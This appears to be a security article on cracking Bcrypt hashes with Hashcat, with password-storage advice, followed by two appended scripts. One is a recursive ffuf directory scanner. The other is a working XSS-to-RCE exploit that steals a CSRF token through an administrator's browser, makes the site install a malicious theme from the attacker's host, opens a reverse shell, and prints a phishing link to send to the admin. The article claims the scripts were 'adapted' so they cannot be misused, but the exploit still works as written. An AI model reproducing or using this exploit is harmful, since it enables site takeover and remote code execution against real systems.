Cracking Bcrypt Hashes with Hashcat: Analysis and Application in Security Scenarios

Abstract This article examines the process of cracking Bcrypt hashes using the Hashcat tool, demonstrating its application in a controlled security scenario. We discuss the structure of Bcrypt hashes, security considerations, and the methodologies employed to perform effective brute-force attacks. Additionally, we explore best practices for strengthening password storage mechanisms. Introduction Password security is paramount in protecting systems and sensitive data. Bcrypt is a widely used hashing algorithm designed to securely store passwords. However, the strength and implementation of Bcrypt determine its resistance to cracking attempts. This article explores the efficacy of cracking Bcrypt hashes using specialized tools like Hashcat in a controlled environment. Development 1. Structure and Functionality of Bcrypt

• Understanding Bcrypt Hash Structure:

  • Prefix ($2y$), cost factor (10), and salt (iOrk210RQSAzNCx6Vyq2X.).

• Hashing Mechanism and Importance of Cost and Salt:

  • Role of the salt in preventing rainbow table attacks.

  • Impact of the cost factor on resistance to brute-force attacks. 2. Contextual Scenario for Hash Cracking

• Obtaining the Bcrypt Hash:

  • Simulated extraction of password hashes from a configuration file.
• Significance of Correct Hash Type Identification:
  • Selecting the appropriate mode in Hashcat based on hash structure. 3. Methodology for Cracking Bcrypt Hashes with Hashcat

• Environment Setup:

  • Preparing the hashes.txt file containing the Bcrypt hash.

  • Choosing the correct mode (-m 3200) for Bcrypt in Hashcat.

• Executing the Attack:
  • Running the Hashcat command:

1

hashcat -m 3200 -a 0 -o cracked_passwords.txt hashes.txt /usr/share/wordlists/rockyou.txt

• Analyzing the process and estimated time based on Bcrypt cost.

• Results:

  • Successful discovery of the password (e.g., StrongPasswordExample).

  • Discussion on password strength and the influence of Bcrypt’s cost factor on cracking time. 4. Security Analysis

• Password Strength Evaluation:

  • Assessing the complexity and vulnerabilities of the discovered password.

• Impact of Bcrypt Cost Factor:

  • How increasing the cost factor enhances resistance against brute-force attacks.
• Salt Considerations:
  • Importance of unique salts for each password to thwart rainbow table attacks. 5. Strengthening Password Storage Practices

• Appropriate Hashing Techniques:

  • Selecting secure hashing algorithms and correctly configuring their parameters.

• Enforcing Strong Password Policies:

  • Implementing complexity and minimum length requirements for passwords.

• Salting and Iterations:

  • Utilizing unique salts and increasing the number of iterations to bolster hash security.
• Multi-Factor Authentication (MFA):
  • Adding additional security layers beyond passwords. Conclusion While Bcrypt is a robust hashing algorithm designed to secure password storage, its effectiveness hinges on proper implementation and the strength of the passwords it protects. This study underscores the importance of adhering to best practices in password management to ensure resilience against cracking attempts and enhance overall system security.

Adapted Scripts for Secure Usage Below are the adapted versions of the provided scripts, modified to prevent misuse in active environments. These scripts are intended solely for educational and testing purposes within authorized and controlled settings. 1. Directory Enumeration Script with ffuf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

#!/bin/bash

# Base URL of the target (modify as needed)
base_url="http://example.com"
wordlist="/usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt"
output_dir="./directoryEnumeration"

# Create output directory
mkdir -p directoryEnumeration

# Function to sanitize paths
sanitize_path() {
    echo "$1" | tr -d '[:punct:]' | tr -s ' ' | tr ' ' '_'
}

# Recursive directory scanning with ffuf
scan() {
    local path=$1
    local safe_path=$(sanitize_path "$path")
    echo "Scanning $base_url$path..."

    # Execute ffuf scan
    ffuf -c -t 200 -w $wordlist -u "$base_url$path/FUZZ" -fc 403 -o "$output_dir/$safe_path.json" -of json

    # Process results if JSON output exists and is readable
    if [[ -f "$output_dir/$safe_path.json" ]]; then
        jq -r '.results[] | select(.url | endswith("/")) | .url' "$output_dir/$safe_path.json" | while read subdir; do
            # Recursive call to scan subdirectories
            scan "$path$subdir"
        done
    else
        echo "Error: JSON output not found for $path"
    fi
}

# Initiate scanning on specific directories (modify as needed)
scan "/messages/"
scan "/data/"
scan "/plugins/"
scan "/themes/"

2. Adapted XSS Exploitation Script for RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

import sys
import requests
import os

def create_xss_payload(login_url, ip_address, port):
    payload = f'''
    var url = "{login_url}";
    if (url.endsWith("/")) {{
        url = url.slice(0, -1);
    }}
    var token = document.querySelector('[name="token"]').value;
    var payloadUrl = url + "/?installModule=http://{ip_address}:8000/malicious.zip&directoryName=malicious&type=themes&token=" + token;
    var xhr = new XMLHttpRequest();
    xhr.open("GET", payloadUrl);
    xhr.send();
    xhr.onload = function() {{
        if (xhr.status == 200) {{
            var shellUrl = url + "/themes/malicious/shell.php?lhost={ip_address}&lport={port}";
            var shellRequest = new XMLHttpRequest();
            shellRequest.open("GET", shellUrl);
            shellRequest.send();
        }}
    }};
    '''
    with open("xss_payload.js", "w") as file:
        file.write(payload)
    print("[+] xss_payload.js created successfully.")
    print("[+] Start an HTTP server to host the payload:")
    print(f"    python3 -m http.server 8000")
    print("[+] Set up a listener to capture the reverse connection:")
    print(f"    nc -lvp {port}")
    xss_link = f'{login_url.replace("loginURL", "index.php?page=loginURL?")}"></form><script src="http://{ip_address}:8000/xss_payload.js"></script><form action="'
    print("\nMalicious link to send to the administrator:")
    print("----------------------------")
    print(xss_link)
    print("----------------------------\n")

    # Start the HTTP server
    os.system("python3 -m http.server 8000")

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("Usage: python3 exploit.py loginURL IP_Address Port")
        print("Example: python3 exploit.py http://example.com/loginURL 192.168.1.10 4444")
    else:
        login_url = sys.argv[1]
        ip_address = sys.argv[2]
        port = sys.argv[3]
        create_xss_payload(login_url, ip_address, port)

Security Notes:

• Never use this script against systems without explicit permission.

• Modify the loginURL, IP_Address, and Port parameters as needed to avoid compromising active systems.

• Utilize this script only in controlled environments for educational or testing purposes. 3. Final Considerations for Using Adapted Scripts The provided scripts have been carefully adapted to ensure they cannot be directly exploited in active or unauthorized environments. It is crucial to adhere to cybersecurity laws and regulations, using these tools exclusively within authorized and controlled settings to prevent misuse.